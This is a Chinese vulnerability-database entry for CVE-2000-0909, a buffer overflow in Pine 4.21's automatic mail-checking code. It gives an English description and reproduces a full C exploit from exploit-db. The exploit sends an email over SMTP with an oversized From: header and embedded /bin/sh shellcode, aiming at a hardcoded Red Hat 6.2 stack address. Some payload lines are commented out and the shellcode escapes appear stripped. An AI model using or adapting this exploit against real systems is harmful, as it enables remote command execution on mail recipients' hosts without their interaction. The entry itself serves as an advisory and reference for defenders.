automatic mail checking component of Pine缓冲区溢出漏洞

automatic mail checking component of Pine缓冲区溢出漏洞

漏洞ID 1106009 漏洞类型 缓冲区溢出
发布时间 2000-09-23 更新时间 2005-05-02
图片[1]-automatic mail checking component of Pine缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0909
图片[2]-automatic mail checking component of Pine缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200012-184
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/20237
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-184
|漏洞详情
automaticmailcheckingcomponentofPine4.21及其早期版本存在缓冲区溢出漏洞。远程攻击者可以借助超长From:头执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/1709/info

A buffer overflow vulnerability exists in the popular mail client Pine 4.21 (and possibly earlier versions), relating to the function which regularly checks for incoming email. In standard e-mail message headers is a field that holds the name and address of the sender. It typically looks like and is presented in pine like this:

From: username <user@host>

Pine does not check the length of the username value when copying it into a memory buffer of predefined length. As a result, if a large "from" value is sent in the email header, it can corrupt "internal" memory when the offending function is called and the oversized buffer is copied onto the stack. An attacker can overwrite the return address of the function on the stack with a value that points back into the buffer, to which the function would return. Arbitrary machine instructions placed on the stack would then be executed.

The real concern here is that this requires no user interaction to exploit.. a target need only be using a vulnerable version of pine. The overflow occurs when the user recieves new email. While typically not yielding root privileges (unless root reads email with pine AS root) this can be used by a remote, anonymous attacker to gain local access to the target host. 

                Arkane [bTm]

 ######### ### # ##  # # ## # # ## # # # #       #  #  #   ###   ## ##  */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define ADDRLEN 700 
#define EXECLEN 1000
#define NOP    0x90

char shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

int main (int argc, char **argv)
{
  struct sockaddr_in server;
  struct hostent *hp;
  int s;
  char helo[100];
  char mail[100];
  char rcpt[100];
  char data[2500];
  char start[20];

  int offset = 0;
  unsigned long addr;
  int i;
  char *addrs,*exec;

  addrs = (char *) malloc (ADDRLEN);
  exec  = (char *) malloc (EXECLEN);

if(argc < 2)
    {
     printf("   Usage: %s <Email Address> <offset>n", argv[0]);
     printf("                                            nn");
     exit(0);
    }

     if (argc == 3)
       offset = atoi (argv[2]);

   //addr = get_sp () - offset; 

   addr = 0xbfffe7e2; //RH62

   memset(addrs,0x41,ADDRLEN);

  //  for (i = 0; i < ADDRLEN ; i += 4)
    //   *(unsigned *) &addrs[i] = addr;

 //  memset(exec,0x90,EXECLEN); 

 //  memset(addrs+195,0x90,5);

 //  memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
      printf ("Could not resolve mail.speakeasy.org.n");
      exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
      printf("Error");
      exit(1); }
 
  server.sin_family = AF_INET;
  server.sin_port = htons (25);
  server.sin_addr.s_addr = *(u_long *) hp->h_addr;
  bzero (&(server.sin_zero), 8);
 
if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
      printf ("Connection refusedn");
      exit(1); }

        sprintf (helo, "helo testrn");
        sprintf (mail, "mail from: %srn",argv[1]);

        send (s, helo, strlen (helo), 0);
        send (s, mail, strlen (mail), 0);

        sprintf (rcpt, "rcpt to: %srn",argv[1]);

        send (s, rcpt, strlen (rcpt), 0);

        sprintf(start,"datarn");

        send (s, start, strlen (start), 0);

         fprintf(stderr," Message Sent! n");

sprintf(data,"From: %s AAAAAAAA [email protected]%srn.rnquitrn",addrs,exec);
        send (s, data, strlen (data), 0);



  close (s);
  exit(0);
}
|参考资料

来源:BID
名称:1709
链接:http://www.securityfocus.com/bid/1709
来源:XF
名称:pine-check-mail-bo
链接:http://xforce.iss.net/static/5283.php
来源:BUGTRAQ
名称:20000922[nosubject]
链接:http://www.securityfocus.com/archive/1/84901
来源:REDHAT
名称:RHSA-2000:102
链接:http://www.redhat.com/support/errata/RHSA-2000-102.html
来源:MANDRAKE
名称:MDKSA-2000:073
链接:http://www.linux-mandrake.com/en/security/MDKSA-2000-073.php3
来源:BUGTRAQ
名称:20001031FW:Pine4.30nowavailable
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0441.html
来源:FREEBSD
名称:FreeBSD-SA-00:59
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:59.pine.asc

相关推荐: Raptor GFX配置工具pgxconfig缓冲区溢出漏洞

Raptor GFX配置工具pgxconfig缓冲区溢出漏洞 漏洞ID 1206317 漏洞类型 缓冲区溢出 发布时间 2000-10-20 更新时间 2000-10-20 CVE编号 CVE-2000-0695 CNNVD-ID CNNVD-200010-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享